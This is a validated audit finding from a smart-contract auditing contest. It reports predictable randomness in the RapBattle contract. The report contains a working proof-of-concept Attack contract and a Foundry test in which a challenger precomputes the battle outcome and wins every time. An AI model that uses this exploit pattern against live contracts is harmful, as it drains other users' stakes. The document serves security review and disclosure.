First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak RNG used in `RapBattle::_battle` allows users to always win by predicting the randomness and go on stage only for favorable random number

shikhar229169

Summary

  • The RapBattle contract uses randomness based on block.timestamp, block.prevrandao and msg.sender to get a random number and decide the winner of Rap Battle on the basis of that random number.

  • But using the above 3 params, the random number generated is not really random and can be easily predicted by using a smart contract to get to know the random number in advance and make a call for rap battle only if the outcome of that random number generated is favorable for the caller.

  • Thus, randomness generated is not really fair for deciding the winner, if it can be predicted before calling the function and therefore it will be always unfair for the defender, as the challenger of the defender will always know the randomness in advance and will only place a call if the outcome is favorable for them, leading to a always win situation.

Vulnerability Details

  • The vulnerability is present in the RapBattle contract at line 62 which arises due to use of block.timestamp, block.prevrandao and msg.sender for randomness.

  • These 3 parameters are always known while a transaction is made, and before calling the actual goOnStageOrBattle function, one can make an Attack contract which will be used to get the randomness easily. As the call for Battle will me made in the same transaction, timestamp and prevrandao will remain same and msg.sender will always be known.

  • And as randomness can be easily determined before calling the goOnStageOrBattle function, therefore the randomness generated is not really random, allowing one to only call the goOnStageOrBattle function as a challenger only if the randomness is in their favor and always win CredToken.

  • Thus, it will be unfair for the defender as they will never win. And as challenger knows the random number in advance they will only go for battle only if randomness is in their favor leading a always win.

Impact

  • Challenger knowing the randomness in advanced will make the defender always lose, as they would only go for battle if randomness is in their favor.

  • Potential front-running situation.

Tools Used

Manual Review, Unit Test in Foundry

PoC

Add the Attack contract in file: test/OneShotTest.t.sol.

The Attack contract is utilized to get the randomness in advance before going on the stage.

contract Attack {
address private user;
RapBattle private rapBattle;
Credibility private cred;
​
constructor(RapBattle _rapBattle, Credibility _cred) {
user = msg.sender;
rapBattle = _rapBattle;
cred = _cred;
}
​
function attackRapBattle(uint256 tokenId) public returns (bool success) {
require(msg.sender == user);
uint256 defenderSkill = rapBattle.getRapperSkill(rapBattle.defenderTokenId());
uint256 skilledRapperSkill = rapBattle.getRapperSkill(tokenId);
​
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this)))) % (defenderSkill + skilledRapperSkill);
​
// condition for the challenger user winning
if (random > defenderSkill) {
// call for rap battle challenger
rapBattle.goOnStageOrBattle(tokenId, rapBattle.defenderBet());
cred.transfer(user, cred.balanceOf(address(this)));
return true;
}
​
return false;
}
}

Add the test in the file: test/OneShotTest.t.sol

Run the test:

forge test --mt test_WeakRNG_AllowsUserToCall_goOnStageOrBattle_WhenItsFavourableForThem
function test_WeakRNG_AllowsUserToCall_goOnStageOrBattle_WhenItsFavourableForThem() public twoSkilledRappers {
// `user` participates in rap battle as defender
uint256 userTokenId = 0;
uint256 betAmount = 1;
​
vm.startPrank(user);
​
oneShot.approve(address(rapBattle), userTokenId);
cred.approve(address(rapBattle), betAmount);
rapBattle.goOnStageOrBattle(userTokenId, betAmount);
​
vm.stopPrank();
​
assert(rapBattle.defender() == user);
​
uint256 challengerTokenId = 1;
uint256 challengerInitBalance = cred.balanceOf(challenger);
// challenger uses the Attack contract to get to know the weak random number in advance
// allowing them to perform the action only if the outcome is in their favour
vm.startPrank(challenger);
​
Attack attack = new Attack(rapBattle, cred);
// waiting for the randomness to be in favor of challenger
while (true) {
bool success = attack.attackRapBattle(challengerTokenId);
if (success) {
break;
}
vm.warp(block.timestamp + 1);
}
​
vm.stopPrank();
​
uint256 credEarned = cred.balanceOf(challenger) - challengerInitBalance;
assert(credEarned == betAmount);
}

Recommendations

Consider using an oracle for randomness like Chainlink VRF.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.